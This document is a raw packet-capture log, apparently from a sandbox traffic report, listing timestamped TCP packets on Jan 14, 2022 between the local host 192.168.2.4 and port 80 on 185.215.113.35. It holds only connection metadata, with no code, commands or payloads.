Jan 14, 2022 09:26:01.491483927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491641998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491656065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491822004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491839886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492021084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492038965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492208004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492228031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492382050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492397070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492564917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492579937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492737055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492749929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492913008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.492927074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493093014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493108988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493292093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493307114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493453026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493468046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493626118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493640900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493809938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493825912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.493989944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494005919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494157076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494168997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494334936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494350910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494508028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494523048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494684935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494700909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494853020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.494864941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.495060921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.495076895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.495233059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.495248079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.503746033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.503772974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.503926039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.503940105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504103899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504121065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504275084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504290104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504448891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504466057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504625082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504635096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504801989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504817009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504976034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.504990101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505151033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505167961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505326986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505342960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505500078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.505517960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518057108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518239021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518384933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518402100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.518439054 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.518467903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.518474102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518495083 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.518637896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518654108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518754005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.518925905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519077063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519228935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519323111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519469023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519630909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519649982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519788980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519893885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.519911051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520067930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520081997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520242929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520258904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520433903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520447969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520601988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520617008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520777941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520792007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520946980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.520962954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521125078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521140099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521305084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521317959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521527052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.521542072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.522557974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.522831917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.522846937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523013115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523025990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523190022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523205042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523355961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523372889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523516893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523533106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523682117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523699045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523874998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.523890972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524053097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524070024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524228096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524243116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524401903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524418116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524573088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524586916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524754047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524770975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524931908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.524946928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525069952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525134087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525285959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525434971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525537968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525646925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525876045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.525888920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526045084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526082039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.526129007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526185036 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.526236057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526238918 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.526333094 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.526371002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526532888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526546001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526714087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526735067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526896000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.526910067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527086020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527103901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527257919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527271986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527446985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527465105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527615070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527631044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527803898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527822018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527970076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.527983904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528160095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528177023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528215885 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528250933 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528264999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528318882 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528479099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528495073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528676987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528693914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528795004 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528820992 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528834105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.528904915 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.528948069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.529082060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.529098988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.529272079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.529289007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.529474974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.530508995 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.530530930 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.530550957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.539378881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.539661884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.539951086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540082932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540292978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540311098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540476084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540561914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540764093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.540870905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541039944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541135073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541323900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541521072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541538000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541678905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541774988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.541960955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542064905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542270899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542287111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542462111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542568922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542845011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.542937994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543133020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543237925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543426037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543622971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543636084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.543860912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544102907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544383049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544565916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544770956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544790983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.544931889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545101881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545300961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545316935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545555115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545754910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545770884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545902967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.545986891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546202898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546222925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546372890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546442032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546641111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546729088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.546931982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547261953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547281027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547350883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547636032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547785997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547918081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.547991991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548182011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548288107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548458099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548674107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548690081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548826933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.548958063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549001932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549069881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549292088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549402952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549530029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549691916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549709082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549880981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.549899101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550041914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550060034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550214052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550229073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550376892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550395012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550548077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550565004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550713062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550730944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550884962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.550898075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551048994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551067114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551246881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551264048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551423073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551440954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551620007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551631927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551779032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551894903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.551903009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552059889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552072048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552334070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552350044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552392960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552402973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552566051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.552583933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.555783987 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.574321985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.574590921 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.574711084 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.584222078 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.589586973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.589785099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.589865923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590068102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590286970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590596914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590612888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590722084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590897083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.590980053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591150045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591229916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591362953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591378927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591487885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591648102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591665030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591795921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591919899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.591936111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592089891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592106104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592257023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592278004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592428923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592447996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592592955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592608929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592763901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592778921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592926979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.592937946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593100071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593116999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593262911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593278885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593436003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593451977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593599081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593615055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.593749046 CET	49891	80	192.168.2.4	185.215.113.35
